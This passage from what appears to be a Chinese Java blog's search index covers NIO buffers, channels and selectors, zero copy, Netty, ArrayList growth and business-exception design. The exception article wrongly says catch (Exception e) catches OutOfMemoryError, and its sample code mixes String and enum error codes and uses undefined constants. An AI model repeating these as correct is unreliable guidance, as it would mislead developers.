从Buffer读取数据</span></span><br><span class="line"><span class="keyword">while</span> (buffer.hasRemaining()) &#123;</span><br><span class="line">    <span class="type">byte</span> <span class="variable">b</span> <span class="operator">=</span> buffer.get();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 清空Buffer，切换为写模式</span></span><br><span class="line">buffer.clear();</span><br></pre></td></tr></table></figure><p>Buffer 状态变量：</p><ul><li><code>position</code>：当前读/写的位置</li><li><code>limit</code>：读/写的上限</li><li><code>capacity</code>：Buffer 的容量</li></ul><h3 id="2-Channel（通道）"><a href="#2-Channel（通道）" class="headerlink" title="2. Channel（通道）"></a>2. Channel（通道）</h3><p>Channel 是双向的，不同于 Stream 的单向：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 文件通道</span></span><br><span class="line"><span class="type">FileChannel</span> <span class="variable">channel</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">&quot;file.txt&quot;</span>).getChannel();</span><br><span class="line"><span class="type">ByteBuffer</span> <span class="variable">buffer</span> <span class="operator">=</span> ByteBuffer.allocate(<span class="number">1024</span>);</span><br><span class="line">channel.read(buffer);  <span class="comment">// 从Channel读到Buffer</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Socket通道</span></span><br><span class="line"><span class="type">SocketChannel</span> <span class="variable">socketChannel</span> <span class="operator">=</span> SocketChannel.open();</span><br><span class="line">socketChannel.connect(<span class="keyword">new</span> <span class="title class_">InetSocketAddress</span>(<span class="string">&quot;localhost&quot;</span>, <span class="number">8080</span>));</span><br><span class="line">socketChannel.configureBlocking(<span class="literal">false</span>);  <span class="comment">// 设置为非阻塞</span></span><br></pre></td></tr></table></figure><h3 id="3-Selector（选择器）"><a href="#3-Selector（选择器）" class="headerlink" title="3. Selector（选择器）"></a>3. Selector（选择器）</h3><p>Selector 允许单线程管理多个 Channel：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Selector</span> <span class="variable">selector</span> <span class="operator">=</span> Selector.open();</span><br><span class="line"><span class="type">ServerSocketChannel</span> <span class="variable">serverChannel</span> <span class="operator">=</span> ServerSocketChannel.open();</span><br><span class="line">serverChannel.bind(<span class="keyword">new</span> <span class="title class_">InetSocketAddress</span>(<span class="number">8080</span>));</span><br><span class="line">serverChannel.configureBlocking(<span class="literal">false</span>);</span><br><span class="line">serverChannel.register(selector, SelectionKey.OP_ACCEPT);</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    selector.select();  <span class="comment">// 阻塞等待就绪事件</span></span><br><span class="line">    Set&lt;SelectionKey&gt; keys = selector.selectedKeys();</span><br><span class="line">    Iterator&lt;SelectionKey&gt; it = keys.iterator();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> (it.hasNext()) &#123;</span><br><span class="line">        <span class="type">SelectionKey</span> <span class="variable">key</span> <span class="operator">=</span> it.next();</span><br><span class="line">        <span class="keyword">if</span> (key.isAcceptable()) &#123;</span><br><span class="line">            <span class="type">SocketChannel</span> <span class="variable">client</span> <span class="operator">=</span> serverChannel.accept();</span><br><span class="line">            client.configureBlocking(<span class="literal">false</span>);</span><br><span class="line">            client.register(selector, SelectionKey.OP_READ);</span><br><span class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (key.isReadable()) &#123;</span><br><span class="line">            <span class="type">SocketChannel</span> <span class="variable">client</span> <span class="operator">=</span> (SocketChannel) key.channel();</span><br><span class="line">            <span class="type">ByteBuffer</span> <span class="variable">buf</span> <span class="operator">=</span> ByteBuffer.allocate(<span class="number">1024</span>);</span><br><span class="line">            client.read(buf);</span><br><span class="line">            <span class="comment">// 处理数据</span></span><br><span class="line">        &#125;</span><br><span class="line">        it.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="NIO-2：异步IO（JDK-7-）"><a href="#NIO-2：异步IO（JDK-7-）" class="headerlink" title="NIO.2：异步IO（JDK 7+）"></a>NIO.2：异步IO（JDK 7+）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">Path</span> <span class="variable">path</span> <span class="operator">=</span> Paths.get(<span class="string">&quot;file.txt&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 异步文件通道</span></span><br><span class="line"><span class="type">AsynchronousFileChannel</span> <span class="variable">channel</span> <span class="operator">=</span> AsynchronousFileChannel.open(path);</span><br><span class="line"><span class="type">ByteBuffer</span> <span class="variable">buffer</span> <span class="operator">=</span> ByteBuffer.allocate(<span class="number">1024</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 异步读取，通过回调处理结果</span></span><br><span class="line">channel.read(buffer, <span class="number">0</span>, buffer, <span class="keyword">new</span> <span class="title class_">CompletionHandler</span>&lt;Integer, ByteBuffer&gt;() &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">completed</span><span class="params">(Integer result, ByteBuffer attachment)</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;读取了 &quot;</span> + result + <span class="string">&quot; 字节&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">failed</span><span class="params">(Throwable exc, ByteBuffer attachment)</span> &#123;</span><br><span class="line">        exc.printStackTrace();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;);</span><br></pre></td></tr></table></figure><h2 id="三者对比"><a href="#三者对比" class="headerlink" title="三者对比"></a>三者对比</h2><table><thead><tr><th>特性</th><th>BIO</th><th>NIO</th><th>NIO.2 (AIO)</th></tr></thead><tbody><tr><td>IO模型</td><td>阻塞</td><td>非阻塞</td><td>异步</td></tr><tr><td>线程数</td><td>1连接1线程</td><td>1线程管理多连接</td><td>回调驱动</td></tr><tr><td>编程复杂度</td><td>简单</td><td>较复杂</td><td>中等</td></tr><tr><td>适用场景</td><td>连接少、并发低</td><td>连接多、并发高</td><td>超大量连接</td></tr><tr><td>典型应用</td><td>Tomcat传统模式</td><td>Netty</td><td>少见</td></tr></tbody></table><h2 id="直接内存-vs-堆内存"><a href="#直接内存-vs-堆内存" class="headerlink" title="直接内存 vs 堆内存"></a>直接内存 vs 堆内存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 堆内存Buffer（受GC管理）</span></span><br><span class="line"><span class="type">ByteBuffer</span> <span class="variable">heapBuffer</span> <span class="operator">=</span> ByteBuffer.allocate(<span class="number">1024</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 直接内存Buffer（不受GC管理，零拷贝）</span></span><br><span class="line"><span class="type">ByteBuffer</span> <span class="variable">directBuffer</span> <span class="operator">=</span> ByteBuffer.allocateDirect(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><p>直接内存特点：</p><ul><li>读写速度快（避免 JVM 堆与 Native 堆之间的数据复制）</li><li>分配和回收成本高</li><li>适合长时间存活的大 Buffer</li></ul><h2 id="零拷贝（Zero-Copy）"><a href="#零拷贝（Zero-Copy）" class="headerlink" title="零拷贝（Zero Copy）"></a>零拷贝（Zero Copy）</h2><p>传统文件传输：</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">磁盘 → 内核缓冲区 → 用户缓冲区 → Socket缓冲区 → 网卡</span><br><span class="line">（4次拷贝，4次上下文切换）</span><br></pre></td></tr></table></figure><p>NIO 零拷贝（FileChannel.transferTo）：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">FileChannel</span> <span class="variable">source</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">&quot;source.txt&quot;</span>).getChannel();</span><br><span class="line"><span class="type">SocketChannel</span> <span class="variable">dest</span> <span class="operator">=</span> SocketChannel.open();</span><br><span class="line"></span><br><span class="line">source.transferTo(<span class="number">0</span>, source.size(), dest);</span><br><span class="line"><span class="comment">// 磁盘 → 内核缓冲区 → 网卡</span></span><br><span class="line"><span class="comment">//（2次拷贝，2次上下文切换）</span></span><br></pre></td></tr></table></figure><h2 id="实际应用"><a href="#实际应用" class="headerlink" title="实际应用"></a>实际应用</h2><h3 id="Netty-的线程模型"><a href="#Netty-的线程模型" class="headerlink" title="Netty 的线程模型"></a>Netty 的线程模型</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">EventLoopGroup</span> <span class="variable">bossGroup</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">NioEventLoopGroup</span>(<span class="number">1</span>);   <span class="comment">// 接收连接</span></span><br><span class="line"><span class="type">EventLoopGroup</span> <span class="variable">workerGroup</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">NioEventLoopGroup</span>();  <span class="comment">// 处理IO</span></span><br><span class="line"></span><br><span class="line"><span class="type">ServerBootstrap</span> <span class="variable">bootstrap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ServerBootstrap</span>();</span><br><span class="line">bootstrap.group(bossGroup, workerGroup)</span><br><span class="line">    .channel(NioServerSocketChannel.class)</span><br><span class="line">    .childHandler(<span class="keyword">new</span> <span class="title class_">ChannelInitializer</span>&lt;SocketChannel&gt;() &#123;</span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">initChannel</span><span class="params">(SocketChannel ch)</span> &#123;</span><br><span class="line">            ch.pipeline().addLast(<span class="keyword">new</span> <span class="title class_">HttpServerCodec</span>());</span><br><span class="line">            ch.pipeline().addLast(<span class="keyword">new</span> <span class="title class_">HttpObjectAggregator</span>(<span class="number">65536</span>));</span><br><span class="line">            ch.pipeline().addLast(<span class="keyword">new</span> <span class="title class_">MyHandler</span>());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;);</span><br></pre></td></tr></table></figure><p>Netty 基于 NIO 实现，采用 Reactor 模式：</p><ul><li>Boss EventLoop：处理 Accept 事件</li><li>Worker EventLoop：处理 Read/Write 事件</li></ul><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><table><thead><tr><th>场景</th><th>推荐方案</th></tr></thead><tbody><tr><td>简单文件读写</td><td>BIO（Files.readAllLines）</td></tr><tr><td>高并发网络服务</td><td>NIO（Netty）</td></tr><tr><td>需要零拷贝的文件传输</td><td>FileChannel.transferTo</td></tr><tr><td>超大量并发连接</td><td>NIO + 多 Reactor</td></tr></tbody></table><p>理解 IO 模型是编写高性能 Java 应用的基础。对于现代高并发服务，基于 NIO 的 Netty 几乎是标准选择。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ArrayList 扩容机制和使用建议</title>
      <link href="//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/"/>
      <url>//arraylist-kuo-rong-ji-zhi-he-shi-yong-jian-yi/</url>
      
        <content type="html"><![CDATA[<h1 id="ArrayList-扩容机制和使用建议"><a href="#ArrayList-扩容机制和使用建议" class="headerlink" title="ArrayList 扩容机制和使用建议"></a>ArrayList 扩容机制和使用建议</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java异常体系和业务异常设计</title>
      <link href="//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/"/>
      <url>//java-yi-chang-ti-xi-he-ye-wu-yi-chang-she-ji/</url>
      
        <content type="html"><![CDATA[<h1 id="Java异常体系和业务异常设计"><a href="#Java异常体系和业务异常设计" class="headerlink" title="Java异常体系和业务异常设计"></a>Java异常体系和业务异常设计</h1><p>异常处理是 Java 程序健壮性的重要保障。本文从异常体系结构出发，深入探讨业务开发中的异常设计策略。</p><h2 id="Java-异常类体系"><a href="#Java-异常类体系" class="headerlink" title="Java 异常类体系"></a>Java 异常类体系</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Throwable</span><br><span class="line">├── Error（严重系统错误，不建议捕获）</span><br><span class="line">│   ├── OutOfMemoryError</span><br><span class="line">│   ├── StackOverflowError</span><br><span class="line">│   └── ...</span><br><span class="line">└── Exception（程序异常，可以捕获处理）</span><br><span class="line">    ├── RuntimeException（运行时异常，Unchecked）</span><br><span class="line">    │   ├── NullPointerException</span><br><span class="line">    │   ├── IllegalArgumentException</span><br><span class="line">    │   ├── IndexOutOfBoundsException</span><br><span class="line">    │   └── ...</span><br><span class="line">    └── 其他 Checked Exception</span><br><span class="line">        ├── IOException</span><br><span class="line">        ├── SQLException</span><br><span class="line">        └── ...</span><br></pre></td></tr></table></figure><h2 id="Checked-vs-Unchecked-异常"><a href="#Checked-vs-Unchecked-异常" class="headerlink" title="Checked vs Unchecked 异常"></a>Checked vs Unchecked 异常</h2><table><thead><tr><th>特性</th><th>Checked Exception</th><th>Unchecked Exception</th></tr></thead><tbody><tr><td>继承</td><td>Exception</td><td>RuntimeException</td></tr><tr><td>编译检查</td><td>必须处理或声明</td><td>不强制</td></tr><tr><td>使用场景</td><td>可恢复的外部错误</td><td>编程错误/不可恢复</td></tr><tr><td>示例</td><td>IOException</td><td>NullPointerException</td></tr></tbody></table><h3 id="选择原则"><a href="#选择原则" class="headerlink" title="选择原则"></a>选择原则</h3><ol><li><strong>Checked Exception</strong>：调用方可以合理恢复的场景</li><li><strong>Unchecked Exception</strong>：编程错误、不可恢复的场景</li></ol><h2 id="业务异常设计最佳实践"><a href="#业务异常设计最佳实践" class="headerlink" title="业务异常设计最佳实践"></a>业务异常设计最佳实践</h2><h3 id="统一异常基类"><a href="#统一异常基类" class="headerlink" title="统一异常基类"></a>统一异常基类</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BusinessException</span> <span class="keyword">extends</span> <span class="title class_">RuntimeException</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String errorCode;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Object[] args;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">BusinessException</span><span class="params">(String errorCode, Object... args)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(MessageFormat.format(ErrorCode.getMessage(errorCode), args));</span><br><span class="line">        <span class="built_in">this</span>.errorCode = errorCode;</span><br><span class="line">        <span class="built_in">this</span>.args = args;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getErrorCode</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> errorCode;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="错误码枚举"><a href="#错误码枚举" class="headerlink" title="错误码枚举"></a>错误码枚举</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">enum</span> <span class="title class_">ErrorCode</span> &#123;</span><br><span class="line">    USER_NOT_FOUND(<span class="string">&quot;1001&quot;</span>, <span class="string">&quot;用户不存在: &#123;0&#125;&quot;</span>),</span><br><span class="line">    INVALID_PARAMETER(<span class="string">&quot;1002&quot;</span>, <span class="string">&quot;参数错误: &#123;0&#125;&quot;</span>),</span><br><span class="line">    ORDER_EXPIRED(<span class="string">&quot;2001&quot;</span>, <span class="string">&quot;订单已过期&quot;</span>),</span><br><span class="line">    INSUFFICIENT_BALANCE(<span class="string">&quot;2002&quot;</span>, <span class="string">&quot;余额不足&quot;</span>);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String code;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> String message;</span><br><span class="line">    </span><br><span class="line">    ErrorCode(String code, String message) &#123;</span><br><span class="line">        <span class="built_in">this</span>.code = code;</span><br><span class="line">        <span class="built_in">this</span>.message = message;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getCode</span><span class="params">()</span> &#123; <span class="keyword">return</span> code; &#125;</span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getMessage</span><span class="params">()</span> &#123; <span class="keyword">return</span> message; &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="分层异常设计"><a href="#分层异常设计" class="headerlink" title="分层异常设计"></a>分层异常设计</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 领域层异常</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DomainException</span> <span class="keyword">extends</span> <span class="title class_">BusinessException</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">DomainException</span><span class="params">(ErrorCode errorCode, Object... args)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(errorCode, args);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 应用层异常</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ApplicationException</span> <span class="keyword">extends</span> <span class="title class_">BusinessException</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">ApplicationException</span><span class="params">(ErrorCode errorCode, Object... args)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(errorCode, args);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 基础设施层异常</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InfrastructureException</span> <span class="keyword">extends</span> <span class="title class_">BusinessException</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">InfrastructureException</span><span class="params">(ErrorCode errorCode, Object... args)</span> &#123;</span><br><span class="line">        <span class="built_in">super</span>(errorCode, args);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="异常处理反模式"><a href="#异常处理反模式" class="headerlink" title="异常处理反模式"></a>异常处理反模式</h2><h3 id="1-空-catch-块"><a href="#1-空-catch-块" class="headerlink" title="1. 空 catch 块"></a>1. 空 catch 块</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！异常被吞掉</span></span><br><span class="line"> <span class="keyword">try</span> &#123;</span><br><span class="line">    doSomething();</span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">    <span class="comment">// 什么都不做</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-用异常控制流程"><a href="#2-用异常控制流程" class="headerlink" title="2. 用异常控制流程"></a>2. 用异常控制流程</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！异常不应该用于正常流程控制</span></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> stack.pop();</span><br><span class="line">&#125; <span class="keyword">catch</span> (EmptyStackException e) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">null</span>;  <span class="comment">// 用异常判断栈空</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确做法</span></span><br><span class="line"><span class="keyword">if</span> (stack.isEmpty()) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> stack.pop();</span><br></pre></td></tr></table></figure><h3 id="3-过度捕获-Exception"><a href="#3-过度捕获-Exception" class="headerlink" title="3. 过度捕获 Exception"></a>3. 过度捕获 Exception</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 错误！捕获了不该捕获的异常</span></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    process();</span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;  <span class="comment">// 会捕获OutOfMemoryError等</span></span><br><span class="line">    log.error(<span class="string">&quot;错误&quot;</span>, e);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 正确做法</span></span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    process();</span><br><span class="line">&#125; <span class="keyword">catch</span> (BusinessException e) &#123;</span><br><span class="line">    log.warn(<span class="string">&quot;业务异常&quot;</span>, e);</span><br><span class="line">&#125; <span class="keyword">catch</span> (IOException e) &#123;</span><br><span class="line">    log.error(<span class="string">&quot;IO异常&quot;</span>, e);</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">InfrastructureException</span>(ErrorCode.IO_ERROR, e);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="try-with-resources"><a href="#try-with-resources" class="headerlink" title="try-with-resources"></a>try-with-resources</h2><p>JDK 7 引入的自动资源管理：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 旧写法</span></span><br><span class="line"><span class="type">BufferedReader</span> <span class="variable">br</span> <span class="operator">=</span> <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    br = <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">FileReader</span>(<span class="string">&quot;file.txt&quot;</span>));</span><br><span class="line">    <span class="keyword">return</span> br.readLine();</span><br><span class="line">&#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (br != <span class="literal">null</span>) &#123;</span><br><span class="line">        br.close();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 新写法</span></span><br><span class="line"><span class="keyword">try</span> (<span class="type">BufferedReader</span> <span class="variable">br</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">BufferedReader</span>(<span class="keyword">new</span> <span class="title class_">FileReader</span>(<span class="string">&quot;file.txt&quot;</span>))) &#123;</span><br><span class="line">    <span class="keyword">return</span> br.readLine();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>多个资源：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">try</span> (<span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileInputStream</span>(<span class="string">&quot;src.txt&quot;</span>);</span><br><span class="line">     <span class="type">OutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">&quot;dest.txt&quot;</span>)) &#123;</span><br><span class="line">    <span class="comment">// 使用资源</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="异常链与堆栈信息"><a href="#异常链与堆栈信息" class="headerlink" title="异常链与堆栈信息"></a>异常链与堆栈信息</h2><h3 id="保留原始异常"><a href="#保留原始异常" class="headerlink" title="保留原始异常"></a>保留原始异常</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    lowLevelOperation();</span><br><span class="line">&#125; <span class="keyword">catch</span> (SQLException e) &#123;</span><br><span class="line">    <span class="comment">// 保留原始异常，便于排查问题</span></span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">BusinessException</span>(ErrorCode.DB_ERROR, e);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="清理堆栈（谨慎使用）"><a href="#清理堆栈（谨慎使用）" class="headerlink" title="清理堆栈（谨慎使用）"></a>清理堆栈（谨慎使用）</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 某些场景下需要隐藏内部实现细节</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">cleanStackTrace</span><span class="params">()</span> &#123;</span><br><span class="line">    StackTraceElement[] clean = Arrays.stream(getStackTrace())</span><br><span class="line">        .filter(e -&gt; !e.getClassName().contains(<span class="string">&quot;internal&quot;</span>))</span><br><span class="line">        .toArray(StackTraceElement[]::<span class="keyword">new</span>);</span><br><span class="line">    setStackTrace(clean);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="全局异常处理（SpringBoot）"><a href="#全局异常处理（SpringBoot）" class="headerlink" title="全局异常处理（SpringBoot）"></a>全局异常处理（SpringBoot）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestControllerAdvice</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">GlobalExceptionHandler</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(BusinessException.class)</span></span><br><span class="line">    <span class="keyword">public</span> ResponseEntity&lt;Result&lt;?&gt;&gt; handleBusiness(BusinessException e) &#123;</span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.ok(Result.fail(e.getErrorCode(), e.getMessage()));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(MethodArgumentNotValidException.class)</span></span><br><span class="line">    <span class="keyword">public</span> ResponseEntity&lt;Result&lt;?&gt;&gt; handleValidation(MethodArgumentNotValidException e) &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">msg</span> <span class="operator">=</span> e.getBindingResult().getFieldErrors().stream()</span><br><span class="line">            .map(FieldError::getDefaultMessage)</span><br><span class="line">            .collect(Collectors.joining(<span class="string">&quot;, &quot;</span>));</span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.ok(Result.fail(ErrorCode.INVALID_PARAMETER, msg));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@ExceptionHandler(Exception.class)</span></span><br><span class="line">    <span class="keyword">public</span> ResponseEntity&lt;Result&lt;?&gt;&gt; handleUnknown(Exception e) &#123;</span><br><span class="line">        log.error(<span class="string">&quot;系统异常&quot;</span>, e);</span><br><span class="line">        <span class="keyword">return</span> ResponseEntity.ok(Result.fail(ErrorCode.SYSTEM_ERROR));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ol><li><strong>优先使用 Unchecked Exception</strong>：减少样板代码</li><li><strong>设计清晰的异常层次</strong>：便于分层处理</li><li><strong>错误码统一规划</strong>：按模块划分，便于问题定位</li><li><strong>保留原始异常</strong>：不要丢失堆栈信息</li><li><strong>避免异常作为流程控制</strong>：影响性能且代码难读</li><li><strong>全局统一处理</strong>：减少重复代码，统一响应格式</li></ol><p>良好的异常设计是系统可维护性的重要保障。</p>]]></content>
      
      
      <categories>
          
          <category> Java基础 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Java </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Java 反射的使用场景和风险</title>
      <link href="//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/"/>
      <url>//java-fan-she-de-shi-yong-chang-jing-he-feng-xian/</url>
      
